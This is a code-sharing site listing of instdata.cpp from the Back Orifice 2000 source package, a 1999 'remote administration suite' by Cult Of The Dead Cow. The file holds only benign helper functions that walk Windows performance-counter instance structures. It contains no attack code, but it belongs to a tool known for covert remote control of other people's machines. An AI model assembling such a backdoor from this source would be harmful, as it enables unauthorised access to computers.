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instdata.cpp
Package: bo2ksrc.zip [view]
Upload User: jinandeyu
Upload Date: 2007-01-05
Package Size: 620k
Code Size: 3k
Category:
Remote Control
Development Platform:
WINDOWS
- /* Back Orifice 2000 - Remote Administration Suite
- Copyright (C) 1999, Cult Of The Dead Cow
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- The author of this program may be contacted at dildog@l0pht.com. */
- #include <windows.h>
- #include <winperf.h>
- #include "perfdata.h"
- // FirstInstance() - Returns pointer to the first instance of pObject type.
- // If pObject is NULL then NULL is returned.
- PPERF_INSTANCE FirstInstance (PPERF_OBJECT pObject)
- {
- if (pObject)
- return (PPERF_INSTANCE)((PCHAR) pObject + pObject->DefinitionLength);
- else
- return NULL;
- }
- // NextInstance() - Returns pointer to the next instance following pInst.
- // If pInst is the last instance, bogus data maybe returned.
- // The caller should do the checking.
- // If pInst is NULL, then NULL is returned.
- PPERF_INSTANCE NextInstance (PPERF_INSTANCE pInst)
- {
- PERF_COUNTER_BLOCK *pCounterBlock;
- if (pInst)
- {
- pCounterBlock = (PERF_COUNTER_BLOCK *)((PCHAR) pInst + pInst->ByteLength);
- return (PPERF_INSTANCE)((PCHAR) pCounterBlock + pCounterBlock->ByteLength);
- }
- else
- return NULL;
- }
- // FindInstanceN() - Returns the Nth instance of pObject type.
- // If not found, NULL is returned. 0 <= N <= NumInstances.
- PPERF_INSTANCE FindInstanceN (PPERF_OBJECT pObject, DWORD N)
- {
- PPERF_INSTANCE pInst;
- DWORD i = 0;
- if (!pObject)
- return NULL;
- else if (N >= (DWORD)(pObject->NumInstances))
- return NULL;
- else
- {
- pInst = FirstInstance (pObject);
- while (i != N)
- {
- pInst = NextInstance (pInst);
- i++;
- }
- return pInst;
- }
- }
- // FindInstanceParent() - Returns the pointer to an instance that is the parent of pInst.
- // If pInst is NULL or the parent object is not found
- // then NULL is returned.
- PPERF_INSTANCE FindInstanceParent (PPERF_INSTANCE pInst, PPERF_DATA pData)
- {
- PPERF_OBJECT pObject;
- if (!pInst)
- return NULL;
- else if (!(pObject = FindObject (pData, pInst->ParentObjectTitleIndex)))
- return NULL;
- else
- return FindInstanceN (pObject, pInst->ParentObjectInstance);
- }
- // InstanceName() - Returns the name of the pInst.
- // If pInst is NULL then NULL is returned.
- LPTSTR InstanceName (PPERF_INSTANCE pInst)
- {
- if (pInst)
- return (LPTSTR) ((PCHAR) pInst + pInst->NameOffset);
- else
- return NULL;
- }